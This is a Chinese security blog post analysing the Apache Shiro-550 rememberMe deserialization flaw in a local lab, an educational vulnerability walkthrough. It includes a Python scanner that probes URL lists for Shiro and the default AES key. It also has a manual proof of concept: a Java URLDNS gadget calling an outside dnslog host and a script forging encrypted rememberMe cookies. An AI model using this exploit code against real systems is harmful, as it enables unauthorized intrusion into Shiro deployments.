JAVA安全-Shiro-550反序列化漏洞分析

admin 2024年5月21日22:02:43评论6 views字数 6934阅读23分6秒阅读模式
JAVA安全-Shiro-550反序列化漏洞分析
JAVA安全-Shiro-550反序列化漏洞分析

点击上方蓝字·关注我们

免责声明
JAVA安全-Shiro-550反序列化漏洞分析

使

文章目录
JAVA安全-Shiro-550反序列化漏洞分析
一、前置知识    Shiro介绍    漏洞环境搭建二、漏洞利用及成因分析    工具漏洞复现    shiro检测    shiro密钥      调试中的小插曲      加密流程分析       手工漏洞复现三、总结
介绍
JAVA安全-Shiro-550反序列化漏洞分析

Shiro是一个功能强大且易于使用的Java安全框架,用于身份验证、授权、加密和会话管理等安全领域。它提供了一个全面的安全解决方案,可以集成到任何Java应用程序中,包括Web应用程序、RESTful服务、移动应用程序等。

以下是Shiro的一些主要功能和特点:

  1. 身份验证(Authentication):Shiro可以处理用户的身份验证,支持多种认证方式,包括用户名密码认证、基于令牌的认证、LDAP认证等。

  2. 授权(Authorization):Shiro提供了灵活的授权机制,可以通过简单的配置来定义用户对资源的访问权限,支持角色(Role)和权限(Permission)的管理。

  3. 加密(Cryptography):Shiro提供了各种常见的加密算法和工具类,用于保护敏感数据的安全性,如密码加密、数据加密等。

  4. 会话管理(Session Management):Shiro可以管理用户会话,包括Session的创建、销毁、过期处理等,同时支持分布式环境下的会话共享和集中管理。

  5. Web集成:Shiro提供了与各种Web框架的集成支持,包括Spring MVC、Struts、Servlet等,可以轻松地将Shiro集成到Web应用程序中进行安全控制。

  6. 易于扩展:Shiro的设计模式和API都非常灵活,易于扩展和定制,开发人员可以根据实际需求进行定制化开发,满足复杂的安全需求。

总的来说,Shiro是一个功能丰富、易于使用且灵活扩展的安全框架,为Java应用程序提供了全面的安全保护,帮助开发人员构建安全可靠的应用程序。

漏洞环境搭建
JAVA安全-Shiro-550反序列化漏洞分析

加载完成后,配置tomcat,添加工件JAVA安全-Shiro-550反序列化漏洞分析运行项目,如果报错检查SDK版本

JAVA安全-Shiro-550反序列化漏洞分析

启动项目后访问自己tomcat的端口跟上自己设置的路径访问,默认就是http://localhost:8080/samples_web_war_exploded/,返回下面页面即搭建完成

JAVA安全-Shiro-550反序列化漏洞分析

点击account page跳转到登入页面JAVA安全-Shiro-550反序列化漏洞分析

我们这里简单看一下

既然是反序列化漏洞,那么得有我们能传入序列化字符串的地方吧,他这里有给几个测试账号,使用burp抓取一下登入数据包,登入的时候记得勾选Remember Me这个是保存登入信息的,勾选后会将Cookie写到客户端并保存下来,关闭浏览器再重新打开;会发现浏览器还是记住你的,这里各位可以自己做一下实验,不勾选Remember Me,登入,然后关闭浏览器重新访问看看是否要登入

JAVA安全-Shiro-550反序列化漏洞分析

我这里是勾选了,可以看到它的数据包中有个rememberMe字段,rememberMe=这个字段也是在黑盒情况下判断对方是否使用shiro的有个判断方式,这里我们可控的点就是这个rememberMe,等下分析一下这段数据是什么

漏洞复现
JAVA安全-Shiro-550反序列化漏洞分析

我们可以看一下网上关于shiro反序列化的利用,根据网上工具的利用顺序一步步剖析shiro反序列化漏洞的成因

第一步、打开shiro反序列化利用工具,输入目标url

JAVA安全-Shiro-550反序列化漏洞分析

第二步、检测密钥,它这里发现shiro框架,输入指定密钥JAVA安全-Shiro-550反序列化漏洞分析

第三步、爆破密钥(因为我们不知道密钥嘛),它这里说爆破出了密钥JAVA安全-Shiro-550反序列化漏洞分析

第四步、爆破利用链以及回显,它说发现构造链

JAVA安全-Shiro-550反序列化漏洞分析

第五步、使用工具执行命令,执行个计算器,发现成功执行

JAVA安全-Shiro-550反序列化漏洞分析

自此漏洞复现完成,我们来理一下漏洞复现流程

检测是否是shiro框架-->爆破密钥-->爆破利用链-->执行命令

这就是这个漏洞利用的一套完整流程了,那么接下来我们就根据这个流程一步步剖析它

Shiro检测
JAVA安全-Shiro-550反序列化漏洞分析

第一种:关于shiro的判断,前面也说到了,可以看数据包中是否存在rememberMe=

第二种:直接发送原数据包,返回的数据中不存在关键字,可以通过在发送数据包的cookie中增加字段:rememberMe=deleteMe,然后查看返回数据包中是否存在关键字。

这里给个检测shiro框架的py脚本

import requestsimport sys,reimport threadpool#from requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings()def exp(line):    header={    'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',    'Cookie':'a=1;rememberMe=1'    }    check_one="rememberMe" #场景1    check_two="deleteMe" #场景2    isExist = False    with open('ScanResult.txt',"a") as f:        if 'http' not in line:            line = 'http://'+line        try:            x = requests.head(line,headers=header,allow_redirects=False,verify=False,timeout=6) #场景4            y = str(x.headers)            z = checkRe(y)            a = requests.head(line,headers=header,verify=False,timeout=6) #场景5            b = str(a.headers)            c = checkRe(b)            if check_one in y or z or check_two in y or c:                isExist = True            if isExist:                print("[+ "+"!!! 存在shiro: "+"状态码: "+str(x.status_code)+"   url: "+line)                f.write(line+"n")            else:                print("[- "+"不存在shiro  "+"状态码: "+str(x.status_code)+"  url: "+line)        except Exception as httperror:            print("[- "+"目标超时, 疑似不存活: "+"  url: "+line)def checkRe(target): #场景3    pattern = re.compile(u'^re(.*?)Me')    result  = pattern.search(target)    if result:        return True    else:        return Falsedef multithreading(funcname, params=[], filename="ip.txt", pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("n")] + params            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(funcname, works)    [pool.putRequest(req) for req in reqs]    pool.wait()def main():    multithreading(exp, [], "check_url.txt", 10)  # 默认15线程    print("全部check完毕,请查看当前目录下的shiro.txt")if __name__ == "__main__":    main()
Shiro密钥
JAVA安全-Shiro-550反序列化漏洞分析

这个密钥是什么呢,这个就得分析一下rememberMe字段中的数据了

既然我们现在是要看rememberMe字段的数据是咋来的,就要知道是哪个方法操作它,在网上查看了资料后说是shiro登入成功后会触发rememberMeSuccessfulLogin方法,我们全局搜索这个方法JAVA安全-Shiro-550反序列化漏洞分析

定位到rememberMeSuccessfulLogin方法,然后在这个方法这里下个断点动态调试一下数据操作的流程,数据是登入成功后获取的,那么我们浏览器登入一下

JAVA安全-Shiro-550反序列化漏洞分析

这里断点后以调试模式启动tomcat

调试中的小插曲
JAVA安全-Shiro-550反序列化漏洞分析

我这里遇到了个问题,调试模式启动的时候会报运行配置停止之前未连接应用程序服务器,原因: 无法在 localhost:1099 处 ping

解决方法

找到tomcat的配置文件catalina.bat,在bin目录下,打开找到JAVA安全-Shiro-550反序列化漏洞分析

把红框框起来的这行删除,重新调试启动tomcat即可

加密流程分析
JAVA安全-Shiro-550反序列化漏洞分析

解决完问题后,我们接着跟代码

JAVA安全-Shiro-550反序列化漏洞分析

它这里触发了getRememberMeManager方法,我们看下这个方法是干什么的

JAVA安全-Shiro-550反序列化漏洞分析

它返回一个rememberMeManager赋值给rmm,然后判断rmm是否为空,这个rememberMeManager是判断我们在登入的时候有没有勾选Remember Me

JAVA安全-Shiro-550反序列化漏洞分析

接着会触发onSuccessfulLogin,它这里面有三个值subject, token, info,其中subject是判断勾选Remember Me的,token还不是很清楚,info的值是root,是我们登入的用户名JAVA安全-Shiro-550反序列化漏洞分析

接着来到login方法,看字面意思是处理登入的,我们接着往下跟

JAVA安全-Shiro-550反序列化漏洞分析

中间一大堆是处理http请求的代码,跟到convertPrincipalsToBytes它里面有个serialize方法,我们跟进JAVA安全-Shiro-550反序列化漏洞分析

JAVA安全-Shiro-550反序列化漏洞分析

这就是它实现序列化功能的代码了,shiro使用的是java自带的序列化接口,这里可以看到它序列化的内容是我们登入时的用户名,也就是说是我们可控的JAVA安全-Shiro-550反序列化漏洞分析serialize执行完后,返回了个bytes,那么这个应该就是序列化后的数据了,接着往下看,它接下来又会触发encrypt这个方法,字面意思应该是做加密的,并且可以看到它的参数是我们序列化后的字符串,跟进JAVA安全-Shiro-550反序列化漏洞分析

这里又触发了一个encrypt方法,进入这个方法JAVA安全-Shiro-550反序列化漏洞分析

执行到这一步,发现底下多了几个参数,我们看下JAVA安全-Shiro-550反序列化漏洞分析

this中有个algorithmname,翻译一下是算法名称的意思,那么他这里采用的加密算法应该就是AES了,在AES加密中有五种加密模式CBC,ECB,CTR,CFB,OFB,这里也提示了,使用的应该是CBC加密模式,还有两个值keyivBytes,这个key字面意思应该就是AES加密的密钥了,ivbytes应该是加密时使用的偏移量(跟到后面发现没用上),我们继续往下JAVA安全-Shiro-550反序列化漏洞分析触发方法crypt方法JAVA安全-Shiro-550反序列化漏洞分析

接着触发initNewCipher方法,这个方法里面用到了SecretKeySpec,它是执行密钥操作的,到这里就没必要继续跟了,它到最后还有一次base64加密,然后结果就是rememberMe字段中的数据了

到这里很清楚的,shiro数据的传输流程是

登入流程:登入数据 --> 序列化 --> AES加密 --> base64加密 -->rememberMe

认证流程 : rememberMe --> base64解密 --> AES解密 -->反序列化 -->登入数据

那么shiro的密钥实际上就是AES加密所使用的密钥,这里实验一下,刚刚在跟代码的时候获取的key的值是下面这个

[-112-15-2108-116100-2861-99121-104-120-59-58-102104]

然后工具爆破出来的密钥是

kPH+bIxk5D2deZiIxcaaaA==

我们使用py脚本对获取到的ascii数组进行base64转换

import base64ascii_array= [-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]byte_array = [x +256 if x <0 else x for x in ascii_array]byte_array = bytes(byte_array)base64_array = base64.b64encode(byte_array)print(base64_array)

JAVA安全-Shiro-550反序列化漏洞分析

执行出来的结果可以看到跟爆破出来的密钥是一样的,其实这个密钥在代码中是可以找到的,可以全局搜索DEFAULT_CIPHER_KEY_BYTES关键字在这个文件中org/apache/shiro/mgt/AbstractRememberMeManager.java

JAVA安全-Shiro-550反序列化漏洞分析

手工漏洞复现
JAVA安全-Shiro-550反序列化漏洞分析

分析完成后,按照我们的思路就要开始构造利用链了

序列化数据构造

package com.example.javademo;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class SerializeDemo {    public static void main(String[] args) throws Exception {        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();        URL url = new URL("http://cwkhb.z9z.top"); //dnslogd地址        //通过反射获取 hashCode方法        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");        hashCode.setAccessible(true);//绕过Java语言权限控制检查的权限        hashCode.set(url,0xdeadbeef);//hashCode第一次默认为 -1 会触发执行dns payload,所以这里设置为任意值        objectObjectHashMap.put(url,"time");//这里传入任意值,原因同上        hashCode.set(url,-1);//重新设置为-1,确保反序列化能触发        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc.txt"));        objectOutputStream.writeObject(objectObjectHashMap); //将序列化内容写入bin文件中    }}

执行完成后,生成cc.txt(序列化内容)

JAVA安全-Shiro-550反序列化漏洞分析

然后再使用py脚本对序列化数据进行AES和base64加密

from Crypto.Cipher import AESimport uuidimport base64def convert_bin(file):    with open(file, 'rb') as f:        return f.read()def AES_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()    return ciphertextif __name__ == "__main__":    data = convert_bin("cc.txt")    print(AES_enc(data))

JAVA安全-Shiro-550反序列化漏洞分析

运行后返回加密后的数据,我们把它替换到rememberMe字段中,测试

JAVA安全-Shiro-550反序列化漏洞分析JAVA安全-Shiro-550反序列化漏洞分析dnslog接收到请求,手工漏洞复现完成

总结
JAVA安全-Shiro-550反序列化漏洞分析

其实在上面已经说了,shiro-550反序列化漏洞的核心点是rememberMe中的数据我们可控,数据采用的是AES加密,而密钥是默认的,所以懂得了它的加密流程和密钥后,我们就可以生成自己想实现功能的序列化字符串加密传输,到shiro中它会按照流程解密,触发我们想要触发的类,在shiro中它使用的是java官方的序列化接口,所以是属于java原生的反序列化漏洞利用。

shiro数据传输流程

登入流程:登入数据 --> 序列化 --> AES加密 --> base64加密 -->rememberMe

认证流程 : rememberMe --> base64解密 --> AES解密 -->反序列化 -->登入数据

原文始发于微信公众号(菜狗安全):JAVA安全-Shiro-550反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日22:02:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全-Shiro-550反序列化漏洞分析https://cn-sec.com/archives/2761482.html

发表评论

匿名网友 填写信息